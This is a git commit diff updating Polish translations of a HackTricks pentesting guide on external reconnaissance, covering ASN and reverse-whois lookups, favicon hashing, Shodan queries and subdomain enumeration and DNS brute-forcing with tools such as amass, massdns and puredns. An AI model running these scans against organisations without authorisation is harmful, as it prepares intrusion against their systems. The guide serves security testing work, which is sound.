Translated ['generic-methodologies-and-resources/external-recon-methodol

This commit is contained in:
Translator 2024-02-23 16:42:12 +00:00
parent d1ff47a88b
commit 35213a7360
56 changed files with 2353 additions and 2921 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 322 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 322 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 152 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 152 KiB

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

After

Width:  |  Height:  |  Size: 71 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 71 KiB

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 201 KiB

View file

@ -161,6 +161,7 @@
* [macOS Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md)
* [macOS Proces Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md)
* [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md)
* [macOS Chromium Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md)
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
@ -509,7 +510,7 @@
* [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
* [50030,50060,50070,50075,50090 - Pentesting Hadoop](network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md)
## 🕸 Pentesting Web
## 🕸 Pentesting Web
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology/README.md)
* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
@ -664,7 +665,7 @@
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
## ⛈ Cloud Security
## ⛈ Cloud Security
* [Pentesting Kubernetes](https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security)
* [Pentesting Cloud (AWS, GCP, Az...)](https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology)
@ -722,7 +723,7 @@
* [ICMPsh](backdoors/icmpsh.md)
* [Cobalt Strike](c2/cobalt-strike.md)
## ✍ TODO
## ✍ TODO
* [Other Big References](misc/references.md)
* [Rust Basics](todo/rust-basics.md)

View file

@ -10,11 +10,11 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **na GitHubie.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego_).
@ -24,27 +24,27 @@ Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **rekrut
> Powiedziano Ci, że wszystko należące do pewnej firmy znajduje się w zakresie, i chcesz dowiedzieć się, co ta firma faktycznie posiada.
Celem tej fazy jest uzyskanie wszystkich **firm należących do głównej firmy**, a następnie wszystkich **zasobów** tych firm. Aby to osiągnąć, będziemy:
Celem tej fazy jest uzyskanie wszystkich **firm należących do głównej firmy**, a następnie wszystkich **zasobów** tych firm. Aby to zrobić, będziemy:
1. Znaleźć przejęcia głównej firmy, co pozwoli nam poznać firmy wchodzące w zakres.
2. Znaleźć numer ASN (jeśli istnieje) każdej firmy, co pozwoli nam poznać zakresy IP posiadane przez każdą firmę.
2. Znaleźć ASN (jeśli istnieje) każdej firmy, co pozwoli nam poznać zakresy IP posiadane przez każdą firmę.
3. Użyć odwróconego wyszukiwania whois, aby szukać innych wpisów (nazwy organizacji, domeny...) związanych z pierwszym (można to zrobić rekurencyjnie).
4. Użyć innych technik, takich jak filtry shodan `org` i `ssl`, aby szukać innych zasobów (szczególnie trik z `ssl` można wykonać rekurencyjnie).
### **Przejęcia**
Po pierwsze, musimy dowiedzieć się, które **inne firmy należą do głównej firmy**.\
Jedną z opcji jest odwiedzenie [https://www.crunchbase.com/](https://www.crunchbase.com), **wyszukanie** **głównej firmy** i **kliknięcie** na "**przejęcia**". Tam zobaczysz inne firmy przejęte przez główną.\
Inną opcją jest odwiedzenie strony **Wikipedii** głównej firmy i wyszukanie **przejęć**.
Jedną z opcji jest odwiedzenie [https://www.crunchbase.com/](https://www.crunchbase.com), **wyszukanie** **głównej firmy**, a następnie **kliknięcie** w "**przejęcia**". Tam zobaczysz inne firmy przejęte przez główną.\
Inną opcją jest odwiedzenie strony **Wikipedia** głównej firmy i wyszukanie **przejęć**.
> W tym momencie powinieneś znać wszystkie firmy wchodzące w zakres. Sprawdźmy teraz, jak znaleźć ich zasoby.
> Ok, w tym momencie powinieneś znać wszystkie firmy wchodzące w zakres. Spróbujmy teraz dowiedzieć się, jak znaleźć ich zasoby.
### **ASN-y**
### **ASNs**
Numer autonomicznego systemu (**ASN**) to **unikalny numer** przypisany **autonomicznemu systemowi** (AS) przez **Internet Assigned Numbers Authority (IANA)**.\
AS składa się z **bloków** adresów IP, które mają jasno określoną politykę dostępu do sieci zewnętrznych i są administrowane przez jedną organizację, ale mogą składać się z kilku operatorów.
**AS** składa się z **bloków** **adresów IP**, które mają zdefiniowaną politykę dostępu do sieci zewnętrznych i są administrowane przez jedną organizację, ale mogą składać się z kilku operatorów.
Interesujące jest dowiedzieć się, czy **firma ma przypisany jakiś ASN**, aby znaleźć jej **zakresy IP**. Warto przeprowadzić **test podatności** na wszystkich **hostach** w **zakresie** i szukać domen w tych IP.\
Interesujące jest dowiedzieć się, czy **firma ma przypisany jakiś ASN**, aby znaleźć jej **zakresy IP**. Warto przeprowadzić **test podatności** przeciwko wszystkim **hostom** w **zakresie** i szukać **domen** w tych IP.\
Możesz **szukać** po nazwie firmy, po **IP** lub po **domenie** na stronie [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**W zależności od regionu firmy te linki mogą być przydatne do zebrania więcej danych:** [**AFRINIC**](https://www.afrinic.net) **(Afryka),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Ameryka Północna),** [**APNIC**](https://www.apnic.net) **(Azja),** [**LACNIC**](https://www.lacnic.net) **(Ameryka Łacińska),** [**RIPE NCC**](https://www.ripe.net) **(Europa). W każdym razie, prawdopodobnie wszystkie** przydatne informacje **(zakresy IP i Whois)** znajdują się już na pierwszym linku.
```bash
@ -52,7 +52,7 @@ Możesz **szukać** po nazwie firmy, po **IP** lub po **domenie** na stronie [**
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
Również, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** automatycznie agreguje i podsumowuje ASNs na końcu skanowania.
Również, [**BBOT**](https://github.com/blacklanternsecurity/bbot)** automatycznie agreguje i podsumowuje ASNs na końcu skanowania subdomen.
```bash
bbot -t tesla.com -f subdomain-enum
...
@ -100,7 +100,7 @@ Możesz także skorzystać z narzędzia online do uzyskania tych informacji: [ht
### **Reverse Whois (pętla)**
Wewnątrz **whois** można znaleźć wiele interesujących **informacji**, takich jak **nazwa organizacji**, **adres**, **adresy e-mail**, numery telefonów... Ale co jeszcze bardziej interesujące, to że można znaleźć **więcej zasobów związanych z firmą**, jeśli przeprowadzisz **odwrotne wyszukiwanie whois po dowolnym z tych pól** (na przykład inne rejestry whois, gdzie pojawi się ten sam adres e-mail).\
Wewnątrz **whois** można znaleźć wiele interesujących **informacji**, takich jak **nazwa organizacji**, **adres**, **maile**, numery telefonów... Ale co jeszcze bardziej interesujące, to że można znaleźć **więcej zasobów związanych z firmą**, jeśli wykonasz **odwrotne wyszukiwanie whois po dowolnym z tych pól** (na przykład inne rejestry whois, gdzie pojawi się ten sam adres e-mail).\
Możesz skorzystać z narzędzi online, takich jak:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Darmowe**
@ -112,7 +112,7 @@ Możesz skorzystać z narzędzi online, takich jak:
* [https://www.domainiq.com/](https://www.domainiq.com) - Płatne
Możesz zautomatyzować to zadanie, korzystając z [**DomLink** ](https://github.com/vysecurity/DomLink)(wymaga klucza API whoxy).\
Możesz także automatycznie odkrywać odwrotne wyszukiwanie whois za pomocą [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
Możesz także automatycznie odkrywać odwrotne whois za pomocą [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Zauważ, że tę technikę można wykorzystać do odkrywania kolejnych nazw domen za każdym razem, gdy znajdziesz nową domenę.**
@ -131,20 +131,20 @@ Istnieją strony i narzędzia, które pozwalają wyszukiwać te śledzacze i wi
### **Favicon**
Czy wiedziałeś, że możemy znaleźć powiązane domeny i subdomeny naszego celu, szukając tego samego skrótu ikony favicon? Dokładnie to robi narzędzie [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) stworzone przez [@m4ll0k2](https://twitter.com/m4ll0k2). Oto jak go używać:
Czy wiedziałeś, że możemy znaleźć powiązane domeny i subdomeny naszego celu, szukając tego samego skrótu ikony favicon? Dokładnie to robi narzędzie [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) stworzone przez [@m4ll0k2](https://twitter.com/m4ll0k2). Oto jak go użyć:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - odkryj domeny z tym samym haszem ikony favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
Po prostu mówiąc, favihash pozwoli nam odkryć domeny, które mają ten sam hash ikony favicon co nasz cel.
Po prostu mówiąc, favihash pozwoli nam odkryć domeny, które mają ten sam hasz ikony favicon co nasz cel.
Co więcej, możesz również wyszukiwać technologie za pomocą hasha favicon, jak wyjaśniono w [**tym wpisie na blogu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Oznacza to, że jeśli znasz **hash faviconu podatnej wersji technologii internetowej**, możesz wyszukać go w shodan i **znaleźć więcej podatnych miejsc**:
Co więcej, możesz również wyszukiwać technologie za pomocą hasza favicon, jak wyjaśniono w [**tym wpisie na blogu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Oznacza to, że jeśli znasz **hasz faviconu podatnej wersji technologii internetowej**, możesz wyszukać go w shodan i **znaleźć więcej podatnych miejsc**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
To jest sposób obliczenia **skrótu ikony strony** internetowej:
To jest sposób obliczenia **skrótu favicon** strony internetowej:
```python
import mmh3
import requests
@ -159,50 +159,55 @@ return fhash
```
### **Prawo autorskie / Unikalny ciąg znaków**
Wyszukaj wewnątrz stron internetowych **ciągi znaków, które mogą być udostępniane na różnych stronach w tej samej organizacji**. **Ciąg znaków praw autorskich** mógłby być dobrym przykładem. Następnie wyszukaj ten ciąg znaków w **Google**, w innych **przeglądarkach** lub nawet w **Shodan**: `shodan search http.html:"Ciąg znaków praw autorskich"`
Wyszukaj na stronach internetowych **ciągi znaków, które mogą być udostępniane na różnych stronach w tej samej organizacji**. **Ciąg znaków praw autorskich** może być dobrym przykładem. Następnie wyszukaj ten ciąg znaków w **Google**, innych **przeglądarkach** lub nawet w **shodan**: `shodan search http.html:"Ciąg znaków praw autorskich"`
### **Czas CRT**
To jest powszechne, aby mieć zadanie cron, takie jak
To powszechne mieć zadanie cron, takie jak
```bash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
### **Metodologia pasywnego przejęcia**
### Metodologia zewnętrznego rozpoznawania
Wygląda na to, że ludzie często przypisują subdomeny do adresów IP należących do dostawców chmurowych i w pewnym momencie **tracą ten adres IP, ale zapominają usunąć rekord DNS**. Dlatego po prostu **uruchamiając maszynę wirtualną** w chmurze (np. Digital Ocean) faktycznie **przejmiesz niektóre subdomeny**.
Aby odnowić wszystkie certyfikaty domen na serwerze. Oznacza to, że nawet jeśli CA używane do tego nie ustawia czasu generacji w Czasie ważności, jest możliwe **znalezienie domen należących do tej samej firmy w dziennikach transparentności certyfikatów**.\
Sprawdź ten [**artykuł, aby uzyskać więcej informacji**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
[**Ten post**](https://kmsec.uk/blog/passive-takeover/) wyjaśnia tę kwestię i proponuje skrypt, który **uruchamia maszynę wirtualną w DigitalOcean**, **pobiera** adres **IPv4** nowej maszyny i **szuka w Virustotal rekordów subdomen** wskazujących na nią.
### **Pasywne przejęcie**
Wygląda na to, że ludzie często przypisują subdomeny do IP, które należą do dostawców chmurowych i w pewnym momencie **tracą ten adres IP, ale zapominają usunąć rekord DNS**. Dlatego po prostu **uruchamiając maszynę wirtualną** w chmurze (np. Digital Ocean) faktycznie **przejmiesz niektóre subdomeny**.
[**Ten post**](https://kmsec.uk/blog/passive-takeover/) wyjaśnia historię na ten temat i proponuje skrypt, który **uruchamia maszynę wirtualną w DigitalOcean**, **pobiera** adres **IPv4** nowej maszyny, a następnie **szuka w Virustotal rekordów subdomen** wskazujących na nią.
### **Inne sposoby**
**Zauważ, że możesz wykorzystać tę technikę, aby odkrywać więcej nazw domen za każdym razem, gdy znajdziesz nową domenę.**
**Zauważ, że możesz użyć tej techniki, aby odkrywać więcej nazw domen za każdym razem, gdy znajdziesz nową domenę.**
**Shodan**
Ponieważ już znasz nazwę organizacji posiadającej przestrzeń IP, możesz wyszukać te dane w Shodan używając: `org:"Tesla, Inc."` Sprawdź znalezione hosty pod kątem nowych, nieoczekiwanych domen w certyfikacie TLS.
Ponieważ już znasz nazwę organizacji posiadającej przestrzeń IP. Możesz wyszukać te dane w Shodan używając: `org:"Tesla, Inc."` Sprawdź znalezione hosty pod kątem nowych nieoczekiwanych domen w certyfikacie TLS.
Możesz uzyskać dostęp do **certyfikatu TLS** głównej strony internetowej, uzyskać **nazwę organizacji** i następnie wyszukać tę nazwę w **certyfikatach TLS** wszystkich znanych stron internetowych w **Shodan** z filtrem: `ssl:"Tesla Motors"` lub użyć narzędzia takiego jak [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
Możesz uzyskać dostęp do **certyfikatu TLS** głównej strony internetowej, uzyskać **nazwę organizacji**, a następnie wyszukać tę nazwę w **certyfikatach TLS** wszystkich znanych stron internetowych w **Shodan** z filtrem: `ssl:"Tesla Motors"` lub użyć narzędzia takiego jak [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) to narzędzie, które szuka **powiązanych domen** z główną domeną i ich **subdomen**, całkiem niesamowite.
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) to narzędzie, które szuka **powiązanych domen** z główną domeną i **ich subdomen**, całkiem niesamowite.
### **Wyszukiwanie podatności**
Sprawdź, czy istnieje możliwość [przejęcia domeny](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Być może jakaś firma **używa domeny**, ale **utrata własności**. Po prostu zarejestruj ją (jeśli jest wystarczająco tania) i daj znać firmie.
Sprawdź, czy istnieje możliwość [przejęcia domeny](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Być może jakaś firma **używa pewnej domeny**, ale **utrata własności**. Po prostu zarejestruj ją (jeśli jest wystarczająco tania) i daj znać firmie.
Jeśli znajdziesz jakąkolwiek **domenę z innym adresem IP** niż te, które już znalazłeś podczas odkrywania zasobów, powinieneś przeprowadzić **podstawowe skanowanie podatności** (za pomocą Nessusa lub OpenVAS) oraz [**skan portów**](../pentesting-network/#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od tego, jakie usługi są uruchomione, możesz znaleźć w **tej książce kilka sztuczek do "atakowania" ich**.\
_Zauważ, że czasami domena jest hostowana wewnątrz adresu IP, który nie jest kontrolowany przez klienta, więc nie jest to w zakresie, bądź ostrożny._
Jeśli znajdziesz jakąkolwiek **domenę z innym adresem IP** niż te, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie podatności** (za pomocą Nessus lub OpenVAS) oraz [**skan portów**](../pentesting-network/#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od tego, jakie usługi są uruchomione, możesz znaleźć w **tej książce kilka sztuczek do "atakowania" ich**.\
_Zauważ, że czasami domena jest hostowana wewnątrz IP, które nie jest kontrolowane przez klienta, więc nie jest to w zakresie, bądź ostrożny._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Wskazówka dotycząca bug bounty**: **Zarejestruj się** na platformie **Intigriti**, premium platformie **bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody aż do **$100,000**!
**Wskazówka dotycząca bug bounty**: **Zarejestruj się** na platformie **Intigriti**, platformie **bug bounty premium stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Subdomeny
> Znamy wszystkie firmy w zakresie, wszystkie zasoby każdej firmy i wszystkie powiązane z nimi domeny.
> Znamy wszystkie firmy w zakresie, wszystkie zasoby każdej firmy i wszystkie domeny związane z firmami.
Nadszedł czas, aby znaleźć wszystkie możliwe subdomeny każdej znalezionej domeny.
@ -214,7 +219,7 @@ dnsrecon -a -d tesla.com
```
### **OSINT**
Najszybszym sposobem na uzyskanie dużej liczby subdomen jest wyszukiwanie w zewnętrznych źródłach. Najczęściej używane **narzędzia** to:
Najszybszym sposobem na uzyskanie wielu subdomen jest wyszukiwanie w źródłach zewnętrznych. Najczęściej używanymi **narzędziami** są następujące (dla uzyskania lepszych wyników skonfiguruj klucze API):
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash
@ -263,9 +268,9 @@ vita -d tesla.com
```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```
Istnieją **inne interesujące narzędzia/API**, które, nawet jeśli nie są bezpośrednio specjalizowane w znajdowaniu subdomen, mogą być przydatne do ich znalezienia, takie jak:
Istnieją **inne interesujące narzędzia/API**, które mogą być przydatne do znalezienia subdomen, takie jak:
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Korzysta z interfejsu API [https://sonar.omnisint.io](https://sonar.omnisint.io) do uzyskiwania subdomen
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Korzysta z interfejsu API [https://sonar.omnisint.io](https://sonar.omnisint.io) do uzyskania subdomen
```bash
# Get list of subdomains in output from the API
## This is the API the crobat tool will use
@ -295,12 +300,12 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
* [**gau**](https://github.com/lc/gau)**:** pobiera znane adresy URL z AlienVault's Open Threat Exchange, Wayback Machine i Common Crawl dla dowolnej domeny.
* [**gau**](https://github.com/lc/gau)**:** pobiera znane adresy URL z AlienVault's Open Threat Exchange, Wayback Machine i Common Crawl dla określonej domeny.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
```
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Szukają plików JS na stronach internetowych i wydobywają z nich subdomeny.
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Przeszukują internet w poszukiwaniu plików JS i wydobywają z nich subdomeny.
```bash
# Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@ -332,9 +337,9 @@ Ten projekt oferuje **darmowo wszystkie subdomeny związane z programami bug bou
Możesz znaleźć **porównanie** wielu z tych narzędzi tutaj: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **Atak brutalnej siły DNS**
### **Atak siłowy DNS**
Spróbujmy znaleźć nowe **subdomeny** poprzez atak brutalnej siły na serwery DNS, używając możliwych nazw subdomen.
Spróbujmy znaleźć nowe **subdomeny** za pomocą ataku siłowego na serwery DNS, używając możliwych nazw subdomen.
Do tego działania będziesz potrzebować kilku **powszechnie używanych list słów dla subdomen, takich jak**:
@ -346,9 +351,9 @@ Do tego działania będziesz potrzebować kilku **powszechnie używanych list s
Oraz adresy IP dobrych resolverów DNS. Aby wygenerować listę zaufanych resolverów DNS, możesz pobrać resolverów z [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i użyć [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) do ich filtrowania. Lub możesz użyć: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Najbardziej polecane narzędzia do ataku brutalnej siły DNS to:
Najbardziej polecane narzędzia do ataku siłowego DNS to:
* [**massdns**](https://github.com/blechschmidt/massdns): To było pierwsze narzędzie, które przeprowadziło skuteczny atak brutalnej siły DNS. Jest bardzo szybkie, ale podatne na fałszywe wyniki.
* [**massdns**](https://github.com/blechschmidt/massdns): To było pierwsze narzędzie, które przeprowadziło skuteczny atak siłowy DNS. Jest bardzo szybkie, ale podatne na fałszywe wyniki dodatnie.
```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
@ -358,7 +363,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) to nakładka na `massdns`, napisana w języku go, która pozwala na wyliczenie prawidłowych subdomen za pomocą aktywnego bruteforce, a także rozwiązywanie subdomen z obsługą symboli wieloznacznych i łatwym wsparciem wejścia-wyjścia.
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) jest opakowaniem wokół `massdns`, napisanym w języku go, które pozwala na wyliczenie prawidłowych subdomen za pomocą aktywnego bruteforce, a także rozwiązywanie subdomen z obsługą symboli wieloznacznych oraz łatwe wsparcie wejścia-wyjścia.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@ -366,13 +371,13 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
puredns bruteforce all.txt domain.com
```
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) używa asyncio do asynchronicznego brutalnego testowania nazw domenowych.
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) używa asyncio do asynchronicznego brutalnego przełamywania nazw domen.
```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
### Druga runda brutalnej siły DNS
Po znalezieniu subdomen przy użyciu otwartych źródeł i brutalnej siły, można wygenerować zmiany znalezionych subdomen, aby spróbować znaleźć jeszcze więcej. Kilka narzędzi jest przydatnych w tym celu:
Po znalezieniu subdomen przy użyciu otwartych źródeł i brutalnej siły, można wygenerować zmiany znalezionych subdomen, aby spróbować znaleźć jeszcze więcej. Kilka narzędzi jest przydatnych do tego celu:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Generuje permutacje domen i subdomen.
```bash
@ -383,12 +388,12 @@ cat subdomains.txt | dnsgen -
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
* [**gotator**](https://github.com/Josue87/gotator)**:** Mając domeny i subdomeny generuj permutacje. Jeśli nie zostanie wskazany plik permutacji, gotator użyje własnego.
* [**gotator**](https://github.com/Josue87/gotator)**:** Dla podanych domen i subdomen generuje permutacje. Jeśli nie zostanie wskazany plik permutacji, gotator użyje własnego.
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): Oprócz generowania permutacji subdomen, może również próbować je rozwiązać (ale lepiej użyć wcześniej skomentowanych narzędzi).
* Możesz pobrać listę permutacji **słów** dla altdns **tutaj** (https://github.com/infosec-au/altdns/blob/master/words.txt).
* [**altdns**](https://github.com/infosec-au/altdns): Oprócz generowania permutacji subdomen, może również próbować je rozwiązać (ale lepiej jest użyć wcześniej skomentowanych narzędzi).
* Możesz pobrać listę permutacji **słów** dla altdns [**tutaj**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@ -398,7 +403,7 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na podstawie domeny **generuje nowe potencjalne nazwy subdomen** na podstawie określonych wzorców, aby spróbować odkryć więcej subdomen.
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na podstawie domeny **generuje nowe potencjalne nazwy subdomen** na podstawie określonych wzorców, aby odkryć więcej subdomen.
#### Inteligentna generacja permutacji
@ -408,25 +413,25 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ to fuzzer siły brutalnej subdomen połączony z niezwykle prostym, ale skutecznym algorytmem prowadzonym przez odpowiedź DNS. Wykorzystuje dostarczony zestaw danych wejściowych, takich jak dostosowana lista słów lub historyczne rekordy DNS/TLS, aby dokładnie syntetyzować więcej odpowiadających nazw domen i rozwijać je jeszcze bardziej w pętli na podstawie zebranych informacji podczas skanowania DNS.
